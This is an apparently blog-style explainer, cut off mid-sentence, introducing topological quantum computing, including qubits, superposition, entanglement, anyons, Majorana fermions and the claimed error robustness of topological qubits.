interior template with bleed, 120 pages pdf, 1 page png. Web 5mm graph paper download free printable 5mm graph paper with blue grid lines.
Web Arrives By Tue, Jan 10 Buy Mr.
5 out of 5 stars. Sos game uses media such as paper, different colored markers, and rulers so that this game can be played. 10 squares per centimeter (millimeter paper), 5 squares per inch
(“engineering paper), 4 squares per inch (“quad paper) graph paper, coordinate paper, grid paper, or squared paper is writing paper. Pen graph paper, 5x5 (5 squares per inch), 11x8.5 engineering
graph paper pad, 55 sheet 4,914 400+ bought in past month $685 list:.
Related Post: | {"url":"https://time.ocr.org.uk/en/5x5-graph-paper.html","timestamp":"2024-11-03T05:46:12Z","content_type":"text/html","content_length":"30950","record_id":"<urn:uuid:f6ac9593-0e36-44b8-ac07-7f08bd19f8be>","cc-path":"CC-MAIN-2024-46/segments/1730477027772.24/warc/CC-MAIN-20241103053019-20241103083019-00571.warc.gz"} |
Holt McDougal Algebra Multiplying Polynomials 7-8 Multiplying Polynomials Holt Algebra 1 Warm Up Warm Up Lesson Presentation Lesson Presentation. - ppt download
Presentation is loading. Please wait.
To make this website work, we log user data and share it with processors. To use this website, you must agree to our
Privacy Policy
, including cookie policy.
Ads by Google | {"url":"https://slideplayer.com/slide/8322562/","timestamp":"2024-11-05T19:21:26Z","content_type":"text/html","content_length":"230219","record_id":"<urn:uuid:dc5c36bd-f1ec-40a3-b22a-b035f7243773>","cc-path":"CC-MAIN-2024-46/segments/1730477027889.1/warc/CC-MAIN-20241105180955-20241105210955-00625.warc.gz"} |
How To Calculate Square Feet 2024
How to Calculate Square Feet
Understanding how to calculate square feet is an essential skill, whether you’re measuring a room for new furniture, planning a home renovation, or involved in real estate. Square footage helps you
gauge how much space you have available and can influence decisions in various situations. This comprehensive guide will walk you through everything you need to know about calculating square feet.
How to Calculate Square Feet
Definition of Square Feet
Square feet is a unit of area measurement used in the United States and some other countries. It represents the area of a square with sides that measure one foot each. When you calculate square feet,
you’re essentially determining how much flat space an area occupies.
How to Calculate Square Feet
Importance of Knowing How to Calculate Square Feet
Knowing how to calculate square feet is important for several reasons:
• Real Estate Pricing: Square footage is often a key factor in determining the value of a property.
• Renovation and Design: When planning renovations, you need to know the square footage to estimate material costs, such as flooring or paint.
• Space Planning: Understanding the area helps you decide if furniture or fixtures will fit in a given space.
How to Calculate Square Feet
Calculating square feet is a simple mathematical process. The method can vary slightly depending on the shape of the area you are measuring. Here, we break it down by shape type.
How to Calculate Square Feet
1. Calculating Square Feet for Rectangles and Squares
Step 1: Measure the Length and Width
To calculate square feet for rectangular and square areas, you first need to measure the length and width.
• Use a measuring tape and ensure both measurements are in feet.
How to Calculate Square Feet
Step 2: Apply the Formula
The formula to calculate square feet is:
Square Feet=Length (in feet)×Width (in feet)
Example Calculation
If a room is 10 feet long and 12 feet wide, the calculation would look like this:
Square Feet=10,ft×12,ft=120,sq ft
How to Calculate Square Feet
2. Calculating Square Feet for Irregular Shapes
For spaces that are not perfectly rectangular or square (such as L-shaped areas), you’ll need to break the area down into smaller sections.
Step 1: Divide the Area into Regular Shapes
Identify how you can split the shape into smaller rectangles or squares.
Step 2: Measure Each Section
Measure the length and width of each section individually.
Step 3: Calculate Each Section’s Area
Use the formula for square feet on each section.
Square Feet for Section=Length (in feet)×Width (in feet)
Step 4: Sum the Areas
Add the square footage from all sections together to get the total square footage.
Example Calculation for Irregular Shapes
Let’s say you have an L-shaped room that consists of two rectangles:
• Section 1: 10 feet by 12 feet
• Section 2: 6 feet by 8 feet
Calculating each:
Section 1=10,ft×12,ft=120,sq ft
Section 2=6,ft×8,ft=48,sq ft
Total square footage:
Total=120,sq ft+48,sq ft=168,sq ft
How to Calculate Square Feet
Calculating Square Feet for Special Shapes
Sometimes you may encounter circular or triangular areas. Here’s how to calculate square footage for those shapes.
How to Calculate Square Feet
1. Calculating Square Feet of Triangles
The formula for the area of a triangle is:
• Base: The length of one side of the triangle.
• Height: The perpendicular distance from the base to the opposite vertex.
If a triangle has a base of 8 feet and a height of 5 feet:
Area=12×8,ft×5,ft=20,sq ft
How to Calculate Square Feet
2. Calculating Square Feet of Circles
For circular areas, you need the radius (the distance from the center of the circle to the edge). The formula is:
If a circular area has a radius of 3 feet:
Area≈3.14×(3,ft)2≈28.26,sq ft
How to Calculate Square Feet
Tools Needed for Measuring Square Feet
1. Measuring Tape
A standard measuring tape is essential for measuring lengths and widths, especially in smaller rooms.
2. Laser Measuring Device
For larger areas, a laser measuring device can provide quick and accurate results without the hassle of long tape measures.
3. Calculator
Keep a calculator handy for quick multiplication and addition as you calculate the square footage of different areas.
4. Sketching Tools
Having a paper and pencil to sketch out the space can help visualize how to break it down into manageable sections.
How to Calculate Square Feet
Current Trends and Innovations in Calculating Square Feet
As of 2024, technology is greatly influencing how to calculate square feet. Here are some trends:
1. Digital Measuring Tools
Increasingly, homeowners and professionals are using digital tools that can calculate square footage automatically. These devices can measure, calculate, and even create a digital blueprint of a
space in seconds.
2. Mobile Apps
There are numerous apps available today that allow you to calculate square footage directly from your smartphone. Many of these apps enable you to take pictures of the area and input dimensions,
automating calculations.
3. Real Estate Technology
In real estate, more listings now showcase detailed square footage calculations using innovative software, allowing potential buyers to compare properties more effectively.
4. Sustainable Materials Planning
As awareness of environmental sustainability grows, understanding square footage is crucial for estimating resources needed—such as paint or flooring—encouraging efficient use of sustainable
How to Calculate Square Feet
What is Usable Square Footage?
Usable square footage refers to the amount of space in a home or office that is functional and can be used effectively. It excludes common areas such as hallways and stairwells.
How to Calculate Square Feet
Importance of Usable Square Footage
• Space Planning: Knowing usable square footage helps you plan how best to utilize the available space.
• Real Estate Listings: Agents often highlight usable square footage to attract buyers looking for efficient spaces.
How to Calculate Square Feet
Measuring Square Footage for Different Rooms
1. Bedrooms
Measuring bedrooms involves calculating length and width. Pay attention to any alcoves or built-in closets and account for these in your total measurement.
2. Living Rooms
For living rooms, measure length and width, considering furniture placement to understand how much usable space remains.
3. Kitchens
Kitchens often have many features. Measure areas around appliances and counters while ensuring to capture odd-shaped parts, if any.
How to Calculate Square Feet
Final Tips for Measuring Square Feet
1. Double-Check Measurements
Always double-check your measurements to avoid mistakes. Measure twice, especially in larger spaces.
2. Use the Right Units
Make sure you’re using feet for your calculations. If you measured in inches or yards, convert your measurements before plugging them into equations.
3. Be Methodical
Approach measuring methodically to avoid missed areas. A careful and organized approach can prevent errors and save time.
Calculating square feet is a practical skill that can aid in numerous situations, from home improvement projects to real estate decisions. Whether you’re measuring a simple square or an irregular
shape, understanding how to calculate square footage empowers you to make informed choices.
By utilizing the formulas provided, tools mentioned, and current trends, you can enhance your knowledge and ensure accuracy in your measurements. Knowing how to calculate square feet can serve not
only your daily needs but can also assist in achieving long-term goals related to space optimization and resource allocation.
Common Problem Solving blogs:
Best Support for Hip Joint Pain
Fatty Liver Disease Drug: Live Pure
Are Teeth Bones: Unraveling the Mystery
2 hours of sun a day lowering blood sugar
Knowing Fat Burner —A Voyage to a Healthier You.
AI-Powered Video And Content Creation
CelluCare: New Breakthrough In Blood Sugar Science
The Ultimate Guide to Dolphin Tattoos
Learning to draw is supposed to be difficult
Get Paid To Use Facebook, Twitter and YouTube
How to Series
How to Cancel Kindle Unlimited
How to Buy Bitcoin on eToro App
How to Deactivate Facebook: A Simple Guide for Everyone
How to Delete Instagram Account: A Simple Guide for Everyone
How to Screenshot on Windows: A Complete Guide for Everyone
How to Screenshot on Mac: A Complete Guide for Everyone
How to Change Your Name on Facebook
How to Block Someone on TikTok
How to Delete Your Facebook Account
How Long to Boil Corn on the Cob
How Long Does It Take to Get a Passport
How to Screen Record on iPhone | {"url":"https://dailybreez.com/how-to-calculate-square-feet/","timestamp":"2024-11-11T06:07:01Z","content_type":"text/html","content_length":"109893","record_id":"<urn:uuid:c7564a3a-54c6-416f-a81f-6c3f9e4d5182>","cc-path":"CC-MAIN-2024-46/segments/1730477028220.42/warc/CC-MAIN-20241111060327-20241111090327-00518.warc.gz"} |
Extract Common Values in Two Lists - Free Excel Tutorial
Just assume that you have two lists containing values/words in the few cells, and you want to extract the same or common values/words from the two lists into another separate list; then you might
think that it’s not a big deal; because you would prefer to manually extract the same or common values/words from the two lists into another separate list without any need of the formula.
Then congratulations because you are thinking right, but let me include that it would be a big deal to extract the same or common values/words from the two lists including multiple cells into another
separate list and doing it manually would be a foolish attempt, because there are 90% chances that you would 100% get tired of it and would never complete your work on time.
But don’t be worry about it because after carefully reading this article, extracting the same or common values/words from the two lists into another separate list would become a piece of cake for
So let’s dive into the article to take you out of this fix.
General Formula
The Following formula would help you compare and extract the same or common values/words from the two lists into another separate list.
=FILTER(Table1,COUNTIF(Table2, Table1))
This Formula is based on the FILTER and COUNTIF function, where the Table1 (A2:A7) and Table2 (B2:B7) are the named ranges, the table in the range D2:D7 is the common list containing the common
elements or values by comparing both Table1 and Table2.
Syntax Explanations:
Before going into the explanation of the formula for getting the work done efficiently, we must understand each syntax which would make it easy for you that how each syntax contributes to executing
the same or common values/words from the two lists into another separate list:
• Filter: This function contributes to narrowing down or filtering out a range of data on the user-defined criteria.
• COUNTIF: It is a statistical function that contributes to counting the number of cells to meet specific criteria
• List: In this formula, the list represents the two lists present in the excel worksheet to execute the common values
• Comma symbol (,): In Excel, this comma symbol acts as a separator that helps to separate a list of values.
• Parenthesis (): The core purpose of this Parenthesis symbol is to group the elements and to separate them from the rest of the elements.
Let’s See How This Formula Works:
The FILTER function takes an array of values as input and an “include” parameter to filter the array based on a logical expression or value.
The array is provided in this example as the named range “Table1“, which contains all values in the range A2:A7. The COUNTIF function, which is nested inside FILTER, provides the included argument:
=FILTER(Table1,COUNTIF(Table2, Table1))
COUNTIF is set up with Table1 as criteria and Table2 as the range. Because if the eight criteria values are given to the COUNTIF, then as an array, it would also return eleven results like the
Keep it into your notice that the 1’s correspond to the Table2 items, which also appear in the Table1.
As with the aid of “include” argument this array is delivered to the FILTER function directly:
Using the values provided by COUNTIF, the FILTER function efficiently filters the Table1. The values except zero are preserved, and the values associated with zero are removed.
The list spread into the range D2:D7 is the final result consisting of an array of values common in both Table1and Table2.
More Examples
The raw results from COUNTIF are used as the filter in the above algorithm. This works because Excel considers any non-zero number to be TRUE and any zero value to be FALSE. If COUNTIF returns a
count larger than one, the filter will continue to function normally.
You can use “>0” to force TRUE and FALSE results explicitly, like as follows:
Remove duplicates From Common Values
Nest the formula inside the UNIQUE function to remove the duplicates, just like as follows:
Sort Common Values
Just nest the formula in the SORT function to sort results:
Extract values missing from Table2
You can reverse the logic for getting the output values in Table1 missing from Table2, like in the follows:
Related Functions | {"url":"https://www.excelhow.net/extract-common-values-in-two-lists.html","timestamp":"2024-11-11T21:35:57Z","content_type":"text/html","content_length":"96522","record_id":"<urn:uuid:a70afbf8-bc7b-43b4-aa6f-63d4bbe201c9>","cc-path":"CC-MAIN-2024-46/segments/1730477028239.20/warc/CC-MAIN-20241111190758-20241111220758-00868.warc.gz"} |
The Magic Of 7
Music is built on the number 7. There are 7 sharp keys, 7 flat keys, 7 numbers, 7 letters, 7 common dynamics and so on…….It’s very mathematical however it’s not hard to understand the basic concepts
if you remember some very simple steps while you approach sight-reading.
Here is one concept regarding key signatures which will help you.
Every letter in the sharp keys has an opposite letter on the flat side. The addition of these two numbers equals 7. For instance, if you notice how the key of F has 1 flat. The key of F# has 6
sharps. Added together that equals 7.
If you know that the key of A has 3 sharps, then what plus 3 equals 7? 4. So the opposite key of A which is Ab must have 4 flats.
E has 4 sharps, so Eb has 3 flats and so on.
That’s the magic of 7! | {"url":"https://www.lasightsinger.com/the-magic-of-7","timestamp":"2024-11-04T18:34:04Z","content_type":"text/html","content_length":"91428","record_id":"<urn:uuid:5c271f68-9f48-4e74-8a73-67c28a0f0009>","cc-path":"CC-MAIN-2024-46/segments/1730477027838.15/warc/CC-MAIN-20241104163253-20241104193253-00356.warc.gz"} |
How To Type An Exponent On Windows 10 Quick and Easy Way - EasyPCMod
How To Type An Exponent On Windows 10 Quick and Easy Way
Exponents are usually used in mathematical expressions that raises a certain value to a power. In the business world this is usually used in compound interest formulas. You might have noticed that
you can’t directly type an exponent using your keyboard. In this latest installment of our troubleshooting series we will show you how to type an exponent on windows 10.
How To Type An Exponent On Windows 10
Using the superscript feature of Word
• Open Microsoft Word
• Type the text or expression the exponent is a part of.
• Before you type the exponent, click on the Superscript button in the Font section of the Home tab of Microsoft Word’s toolbar to turn the Superscript feature on. When the Superscript feature is
enabled, anything you type is typed at a raised level in the respective line and in a much smaller font than the rest of the text, making the typed text actually look like an exponent.
• Type the exponent with the Superscript feature enabled.
• Once you have typed in the exponent, click on the Superscript button in the Font section of the Home tab of Microsoft Word’s toolbar once again to turn Superscript off. Disabling the Superscript
feature ensures that the text you type after the exponent is at the same level and in the same font size as the rest of the text.
This is the first method to type an exponent on Windows 10.
Manually type the exponent
• Move your mouse pointer to wherever on your screen you want to type the exponent.
• Press Shift + 6 to type in the caret symbol (^). Alternatively, you can also press Shift + 8 twice to type in two asterisks (*). Both options meet the qualifications – anywhere either of these is
found, it is understood that the number located directly after them is an exponent of the text that came before the symbol(s).
• Type in the exponent immediately following the symbol(s).
This is the second method to type an exponent on Windows 10.
Leave a Comment | {"url":"https://www.easypcmod.com/how-to-type-an-exponent-on-windows-10-quick-and-easy-way-9878","timestamp":"2024-11-05T15:39:07Z","content_type":"text/html","content_length":"85931","record_id":"<urn:uuid:ffc8d1ab-f00a-4ba2-a07f-88ebfdb70cef>","cc-path":"CC-MAIN-2024-46/segments/1730477027884.62/warc/CC-MAIN-20241105145721-20241105175721-00747.warc.gz"} |
Matrix Multiplication - Digital System DesignMatrix Multiplication - Digital System Design
Matrix Multiplication
The signal processing algorithms or image processing algorithms deal with matrices. In every step, various matrix multiplications may be computed for evaluation of these algorithms. In implementation
of these algorithms on hardware, matrix multiplication is an important operation that decides the performance of the implementations. We intentionally divides the matrix multiplication operation into
three categories and these are
In this tutorial, we will discuss implementation of all these linear-arithmetic operations one-by-one. | {"url":"https://digitalsystemdesign.in/matrix-multiplication/","timestamp":"2024-11-06T23:31:59Z","content_type":"text/html","content_length":"293982","record_id":"<urn:uuid:03843c22-866d-462f-90bb-1a34ad71400b>","cc-path":"CC-MAIN-2024-46/segments/1730477027942.54/warc/CC-MAIN-20241106230027-20241107020027-00750.warc.gz"} |
All You Need to Know About Math Anxiety
All You Need to Know About Math Anxiety
Math anxiety can affect people’s educational outcomes — and is a culturally mediated phenomenon that could increase the gender gap in STEM.
ShareTagsAuthorRohitha Naraharisetty
Rohitha Naraharisetty is a Senior Associate Editor at The Swaddle. She writes about the intersection of gender, caste, social movements, and pop culture. She can be found on Instagram at @rohitha_97
or on Twitter at @romimacaronii. | {"url":"https://www.theswaddle.com/all-you-need-to-know-about-math-anxiety","timestamp":"2024-11-03T12:34:07Z","content_type":"text/html","content_length":"97126","record_id":"<urn:uuid:30ff1857-b5fc-45ad-84ff-38b52f2b5387>","cc-path":"CC-MAIN-2024-46/segments/1730477027776.9/warc/CC-MAIN-20241103114942-20241103144942-00548.warc.gz"} |
Pi Mu Epsilon at USC
USC Department of Mathematics
USC College of Arts and Sciences
National Pi Mu Epsilon
Math Resources
MathWorld - Great advanced math resource.
MathPuzzle - A site for recreational mathematics.
Research Opportunities in Mathematics for Undergraduates
Mathematics Advanced Study Semesters (MASS) at the Pennsylvania State University.
Research Experiences for Undergraduates (REUs) at universities in the United States.
Here is another list of REU's in the U.S.A.
Professional Organizations in Pure Mathematics
The American Mathematical Society (AMS).
The Mathematical Association of America (MAA). | {"url":"https://people.math.sc.edu/pme/links.html","timestamp":"2024-11-05T22:06:47Z","content_type":"text/html","content_length":"4275","record_id":"<urn:uuid:4cdadf37-8c9d-42ba-9e4e-8049b098b8d4>","cc-path":"CC-MAIN-2024-46/segments/1730477027895.64/warc/CC-MAIN-20241105212423-20241106002423-00447.warc.gz"} |
Organizer：单芃 Peng Shan
Time：2022/08/26 08:30am-17:30pm, 2022/08/27 08:30am-12:00am
日程 Schedule
8月26日 (Aug. 26)
8:30-9:30 付保华Baohua Fu（AMSS）
茶歇Tea break
10:00-11:00肖梁Liang Xiao（BICMR）
11:10-12:10 苏长剑Changjian Su（YMSC）
14:00-15:00 贾博名Boming Jia (YMSC)
茶歇Tea break
15:30-16:30 Marc Besson (BICMR)
8月27日 (Aug. 27)
8:30–9:30 Dylan Allegretti (YMSC)
茶歇Tea break
10:00-11:00 李鹏程Pengcheng Li (YMSC)
11:10-12:10 胡越Yue Hu (YMSC)
Upcoming talks:
题目：A new infinite family of isolated symplectic singularities
报告人：付保华 Baohua Fu（AMSS）
时间：2022/08/26 8:30-9:30am
摘要： We construct a new infinite family of 4-dimensional isolated symplectic singularities with trivial local fundamental group, answering a question of Beauville raised in 2000. Three
constructions are presented for this family: (1) as singularities in blowups of the quotient of C4by the dihedral group of order 2d, (2) as singular points of Calogero-Moser spaces associated with
dihedral groups of order 2dat equal parameters, (3) as singularities of a certain Slodowy slice in the d-fold cover of the nilpotent cone in sl_d.
This is a joint work with G. Bellamy, C. Bonnafé, D. Juteau, P. Levy, E. Sommers.
题目：Arithmetic applications of geometric aspects of Shimura varieties
报告人：肖梁Liang Xiao（BICMR）
时间：2022/08/26 10:00-11:00am
摘要： Geometric properties of Shimura varieties can provide us with access to arithmetic information in Langlands program. I will survey several typical topics and scenarios where we encounter such
applications. Hopefully, we can convey the geometric representation-theoretic input to such results.
题目：Positivity of the CSM classes and cohomology of Hessenberg varieties
报告人：苏长剑Changjian Su（YMSC）
时间：2022/08/26 11:10am-12:10pm
摘要：The talk aims to introduce two problems I am thinking about. I will first talk about Kumar's conjecture about the positivity of the Chern-Schwartz-MacPherson (CSM) classes of the Richardson
cells. Then the talk will be devoted to the Stanley-Stembridge conjecture about the chromatic symmetric function, which can be reformulated using the symmetric group action on the cohomology of the
regular semisimple Hessenberg varieties. Using the Fourier transform, we can reprove the conjecture for the parabolic case. We also hope the CSM class theory can shed some light on this conjecture.
题目：The Geometry of the Affine Closure of T^*(G/U).
报告人：贾博名Boming Jia (YMSC)
时间：2022/08/26 2:00-3:00pm
摘要： The affine closure of T^*(G/U) has been expected to have symplectic singularities in the sense of Beauville. We prove this conjecture for the special case G=SL_n. When n=3, this affine closure
is isomorphic to the closure of the minimal nilpotent orbit O_min in so(8,C). Moreover, in this case, the quasi-classical Gelfand-Graev action of the Weyl group W=S3 on (T^*(SL3/U))^aff can be
identified as the restriction of Cartan’s triality S3-action on so(8) to the closure of the minimal orbit O_min. We will also discuss about Kostant’s theorem on highest weight varieties, and we will
see that in the case of minimal nilpotent orbit closure in so(2m), there is an interpretation (and proof) of this theorem via Hamiltonian reduction.
题目：Demazure polytopes and GIT
报告人：Marc Besson(BICMR)
时间：2022/08/26 3:30-4:30pm
摘要：This introductory talk will begin with an overview of Schubert varieties and Demazure modules in a variety of settings. Demazure modules play the role of providing filtrations for many spaces
which arise naturally in representation theory, such as weight multiplicity spaces and tensor decomposition multiplicity spaces, in both the affine and finite settings. In the second part of the
talk, I will discuss some applications of Geometric Invariant Theory (GIT) to the combinatorics of Demazure modules (recent work by B., Jeralds, Kiers). Moreover I will discuss an ongoing project
which generalizes these results to the affine setting.
题目：From triangulated categories to Teichmüller spaces
报告人：Dylan Allegretti(YMSC)
时间：2022/08/27 8:30–9:30am
摘要：I will start by reviewing a construction of V. Ginzburg, which associates a 3-Calabi-Yau triangulated category to a quiver with potential. I will then describe a relationship between the space
of Bridgeland stability conditions on such a category and the Teichmüller space of a surface.
题目：Categorical actions and derived equivalences for finite odd-dimensional orthogonal groups
报告人：李鹏程Pengcheng Li (YMSC)
时间：2022/08/27 10:00-11:00am
摘要：In this talk, I will give a brief introduction to Kac-Moody categorification and Broue's abelian defect group conjecture. We prove that Broue's abelian defect group conjecture is true for the
finite odd-dimensional orthogonal groups SO_{2n+1}(q) at linear primes with q odd. We frist make use of the reduction theorem of Bonnafe-Dat-Rouquier to reduce the problem to isolated blocks. Then we
construct a categorical action of a Kac-Moody algebra on the category of quadratic unipotent representations of the various groups SO_{2n+1}(q) in non-defining characteristic, by generalizing the
corresponding work of Dudas-Varagnolo-Vasserot for unipotent representations. This is one of the main ingredients of our work which may be of independent interest. To obtain derived equivalences of
blocks and their Brauer correspondents, we define and investigate isolated RoCK blocks. Finally, we establish the desired derived equivalence based on the work of Chuang-Rouquier that categorical
actions provide derived equivalences between certain weight spaces. This is a joint work with Yanjun Liu and Jiping Zhang.
题目：Specialization maps for shuffle algebras of type $B_{n}$ and $G_{2}$.
报告人：胡越 Yue Hu (YMSC)
时间：2022/08/27 11:10am-12:10pm
摘要：We define a filtration of Feigin-Odesskii's shuffle algebras in type $B_{n}$ and $G_{2}$ using specialization maps, generalizing the results in type $A_{n}$ given by Negut and Tsymbaliuk. As an
application, we construct a class of PBW basis for the positive part of quantum affine algebras in New Drinfeld realizations. | {"url":"https://ymsc.tsinghua.edu.cn/en/info/1060/2327.htm","timestamp":"2024-11-12T15:47:22Z","content_type":"text/html","content_length":"42091","record_id":"<urn:uuid:e68d90ca-1653-449e-a5d0-6f462a56c001>","cc-path":"CC-MAIN-2024-46/segments/1730477028273.63/warc/CC-MAIN-20241112145015-20241112175015-00339.warc.gz"} |
Limitations of Net Present Value (NPV)
Net Present Value (NPV) is the difference between the present value of cash inflows and the present value of cash outflows. NPV is used in capital budgeting to analyze the profitability of an
investment or project.
While net present value (NPV) calculations are useful when you are valuing investment opportunities, the process is by no means perfect.
The limitations of NPV are as follows:
1. The NPV is expressed in absolute terms rather than relative term and hence does not factor in the scale of investment.
2. The NPV rule does not consider the life of the project. Hence, when mutually exclusive projects with different lives are being considered, the NPV rule is biased in favor of the longer term
3. NPV is based on future cash flows and the discount rate, both of which are hard to estimate with 100% accuracy.
4. There is an opportunity cost to making an investment which is not built into the NPV calculation.
Essentially, net present value measures the total amount of gain or loss a project will produce compared to the amount that could be earned simply by saving the money in a bank or investing it in
some other opportunity that generates a return equal to the discount rate. | {"url":"https://qsstudy.com/limitations-net-present-value-npv/","timestamp":"2024-11-05T13:20:17Z","content_type":"text/html","content_length":"22564","record_id":"<urn:uuid:6098d09f-6205-49db-9241-a344ccb3d17d>","cc-path":"CC-MAIN-2024-46/segments/1730477027881.88/warc/CC-MAIN-20241105114407-20241105144407-00298.warc.gz"} |
A method for calculating turbulent boundary layers using a formulation of first-gradient type
To develop a computer program for calculating a blown boundary layer at the hinge of a lift-augmenting flap, a calculation method was proposed which uses an equation governing the behavior of the
Boussinesq coefficient, formulated by Nee and Kovasznay in the case of an incompressible boundary layer. It is shown that, in the inner turbulent zone, the expression for the local equilibrium,
production = dissipation, is consistent with that of the logarithmic law for the velocity near the wall. This observation allows the production and dissipation terms to be deduced from the form taken
by the logarithmic law in the case of compressible boundary layers, and the Nee-Kovasznay equation to be generalized to such flows. Similarly the persistence of the logarithmic law when the turbulent
wall zone is the seat of mechanisms other than turbulent energy production and dissipation led to the adoption of a formulation conceived by Bradshaw and to a modification of the dissipation length
in order to represent these supplementary mechanisms in an implicit manner. Knowing how to relate the value of this length to the value of the slope of the logarithmic law allows the wall jet and the
blown boundary layer on deflected or undeflected flaps to be calculated. The numerical method is that of Spalding and Patankar, with modifications relating to the calculation of the entrainment rate
and the velocity profiles in the viscous layer, and to the representation of the effect of wall curvature on the transverse variation of the static pressure.
NASA STI/Recon Technical Report N
Pub Date:
March 1977
□ Boundary Layer Control;
□ Gradients;
□ Trailing-Edge Flaps;
□ Turbulent Boundary Layer;
□ Compressible Boundary Layer;
□ Computer Programming;
□ Externally Blown Flaps;
□ Hinges;
□ Lift Augmentation;
□ Wall Jets;
□ Fluid Mechanics and Heat Transfer | {"url":"https://ui.adsabs.harvard.edu/abs/1977STIN...7724439R/abstract","timestamp":"2024-11-07T01:52:05Z","content_type":"text/html","content_length":"38365","record_id":"<urn:uuid:73a5edee-1c77-441a-8de1-17811cc09fed>","cc-path":"CC-MAIN-2024-46/segments/1730477027942.54/warc/CC-MAIN-20241106230027-20241107020027-00151.warc.gz"} |
Station Building Blocks
• In order to implement a product line of train station we need a way to represent the solution space.
• In many system the solution space is represented as code in some existing programming language. In the train station domain, and in the context of the DSM-TP summer school, it seems more
appropriate to consider a small DSL that will describe train station designs.
• We will use the same language (Clafer) to design a simple, under-constrained, meta-model for railway station track design.
• Now it is more useful to think about clafers as classes, than as features; although obviously nothing changes from the language perspective, they remain just clafers.
• The track layout will be built of elements of type Track:
abstract Track
incident -> Track
[ parent
incident ]// incidence is symmetric
[ no this&incident ]// do not connect to yourself
• Each Track will have a set of pointers to incident tracks. The arrow represents a reference to a set (a uni-directional association). The cardinality constraint as previously constraints the
amount of incident clafers, so it carries also to the referenced set.
• For the first time, we see cardinalities higher than one. In our models we will consider tracks that can connect to up to three other tracks.
• We have two constraints. The first one assumes that the incidence relation is symmetric: so if track A is incident to a track B, then also track B is incident to A. It is written here using the
parent keyword which refers to the parent of the context (so an instance of the track), as opposed to this which refers to the context clafer.
• The use of this here implicitly follows the reference for convenience. The fully desugared constraint could also be written as this.parent in this.dref.incident.dref.
• The second constraint is written in the context of the root clafer, and it states that a track cannot be incident with itself. Here & is the set intersection operator. Again the reference from
incident is followed automatically, so the parenthesized expression means (this & incident.dref).
• In Clafer, like in Alloy, expressions are set valued, so an instance expression represents a set of instances (possibly empty, possibly singleton, but perhaps larger).
• The keyword this actually represents a singleton set containing the context instance, while incident.dref represents a set of incident tracks. This is why it makes sense to compute an
intersection of the two.
• The quantifier no turns a set into a Boolean value, true if the following set is empty, and false otherwise.
• Like in Alloy, the default quantifier is some (meaning a singleton or a larger set, roughly corresponding to existential quantification). Some is inserted everywhere in front of sets, where a
Boolean value is expected; this is why our constraints in the first part looked like propositional, despite operating on sets.
• Having introduced the basic type of tracks, we now refine it to four subtypes, which we will later instantiate to build stations. Simple tracks are straight line tracks, with two connection
• The # symbol is a set cardinality operator:
abstract SimpleTrack : Track
• A junction is a track with three endpoints:
abstract Junction : Track
• An incoming or outgoing line will only have one endpoint (the other of its ends is irrelevant for modeling the station):
• Note that one is another quantifier. It results in true iff the subsequent set is a singleton.
• A track barrier is a kind of track that is blind (or allows to close an open track safely):
abstract TrackBarrier : Track
• Instantiate this meta-model creating a domain specific model of a station (or more precisely an abstract syntax of it) :
• In our model we have one incoming line (I1), one outgoing line (I2) and one simple track (T1) which is connected to the two lines. This is a very common case of a single track rural station.
• the ++ operator denotes set union.
• Since we could always make a mistake, it is useful to ask the Clafer instance generator, to check whether this model is consistent. It should return exactly one instance, as the model is fully
specified (no variability).
Task 6
• Now once you have the model opened in Clafer IDE change it to a model of an even simpler station that has one incoming track and is blind on the other side. Like the following beatiful station in
Rabka, which I visited during a recent summer hike:
• Remember to use the instance generator to see whether your design is consistent with the meta-model.
With this super simple DSL we can move to Base Model. | {"url":"http://t3-necsis.cs.uwaterloo.ca:8099/Station%20Building%20Blocks?printable","timestamp":"2024-11-09T19:04:40Z","content_type":"application/xhtml+xml","content_length":"13808","record_id":"<urn:uuid:7403e3b0-78eb-4654-94ff-5d5a1a818e18>","cc-path":"CC-MAIN-2024-46/segments/1730477028142.18/warc/CC-MAIN-20241109182954-20241109212954-00409.warc.gz"} |
Exploring Topological Quantum Computing: A Robust Approach to Quantum Computing - Diverse Daily
Exploring Topological Quantum Computing: A Robust Approach to Quantum Computing
Quantum computing is a rapidly advancing field that holds the promise of solving complex problems that are currently intractable for classical computers. Traditional quantum computing relies on
qubits, which are the fundamental units of information in a quantum computer. However, qubits are highly susceptible to errors caused by decoherence and other environmental factors.
In recent years, a new approach to quantum computing has emerged, known as topological quantum computing. This approach is based on the use of topological qubits, which are more robust against
errors. Unlike traditional qubits, which are fragile and prone to errors, topological qubits are protected by their inherent topological properties. These properties make them less susceptible to
decoherence and other external disturbances, making them ideal for building reliable and scalable quantum computers.
Topological qubits are based on the concept of anyons, which are exotic particles that exist only in two dimensions. Anyons are characterized by their fractional statistics, which means that when two
anyons are exchanged, the quantum state of the system is modified by a phase factor that depends on the type of anyons involved. This unique property allows anyons to be used as qubits in topological
quantum computing.
One of the most promising platforms for implementing topological qubits is the use of topological superconductors. These materials exhibit a special type of superconductivity that arises from the
presence of Majorana fermions, which are a type of anyon. Majorana fermions are unique because they are their own antiparticles, which means that they can exist in a superposition of states. This
property makes them ideal for encoding and manipulating quantum information.
Another advantage of topological qubits is their inherent fault-tolerance. Traditional quantum computers require a large number of qubits to implement error correction codes, which can be
computationally expensive and resource-intensive. In contrast, topological qubits have built-in error correction capabilities, thanks to their topological properties. This means that fewer qubits are
needed to achieve the same level of error correction, making topological quantum computers more efficient and scalable.
In this article, we will explore the concept of topological quantum computing and how it differs from traditional quantum computing. We will delve into the unique properties of topological qubits,
such as their robustness against errors and their fault-tolerant nature. Additionally, we will discuss the current state of research in topological quantum computing and the challenges that need to
be overcome for its practical implementation. By the end of this article, you will have a comprehensive understanding of topological quantum computing and its potential for revolutionizing the field
of computation.
Understanding Qubits
Before we delve into the world of topological quantum computing, let’s first understand the concept of qubits. Qubits are the building blocks of quantum computing and can exist in multiple states
simultaneously, thanks to a property called superposition. Unlike classical bits, which can only be either 0 or 1, qubits can be in a state that is a combination of 0 and 1.
Furthermore, qubits can also be entangled with each other, which means that the state of one qubit is dependent on the state of another qubit. This property of entanglement allows for the creation of
quantum algorithms that can solve certain problems much faster than classical algorithms.
Superposition and entanglement are two fundamental concepts in quantum computing that enable the immense computational power of qubits. Superposition allows qubits to exist in a state that is a
combination of 0 and 1, with each state having a certain probability of being observed when measured. This means that qubits can be in a state of both 0 and 1 simultaneously, opening up a vast number
of possibilities for calculations and computations.
Entanglement, on the other hand, is a phenomenon where the state of one qubit becomes linked or correlated with the state of another qubit. When qubits are entangled, the measurement of one qubit
